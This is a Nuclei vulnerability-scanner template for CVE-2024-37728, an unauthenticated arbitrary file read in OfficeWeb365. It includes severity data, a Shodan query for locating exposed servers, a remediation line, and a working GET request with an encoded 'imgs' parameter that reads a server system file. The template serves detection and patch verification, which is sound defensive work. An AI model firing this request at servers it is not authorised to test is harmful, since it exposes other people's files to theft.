id: CVE-2024-37728

info:
  name: OfficeWeb365 Indexs Interface - Arbitrary File Read
  author: DhiyaneshDK
  severity: high
  description: |
    There is any file reading in the officeWeb365 Indexs interface.
  impact: |
    Unauthenticated attackers can read arbitrary files from the OfficeWeb365 server.
  remediation: |
    Update OfficeWeb365 to a version that patches the arbitrary file read vulnerability.
  reference:
    - https://github.com/wy876/POC/blob/main/OfficeWeb365_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37728
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-37728
    epss-score: 0.01852
    epss-percentile: 0.77024
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    shodan-query: "OfficeWeb365"
  tags: cve,cve2024,officeweb365,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Pic/Indexs?imgs=DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "for 16-bit app support"

      - type: word
        part: body
        words:
          - "image/png"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b7dda971c137d402a7d247640fa16dac457199508c7449e439bcbcebbb66da8a022039b6267a5a50283d47387bf684508a626027a9731a354ed97a17aa6c28b7e8d8:922c64590222798bb761d5b6d8e72950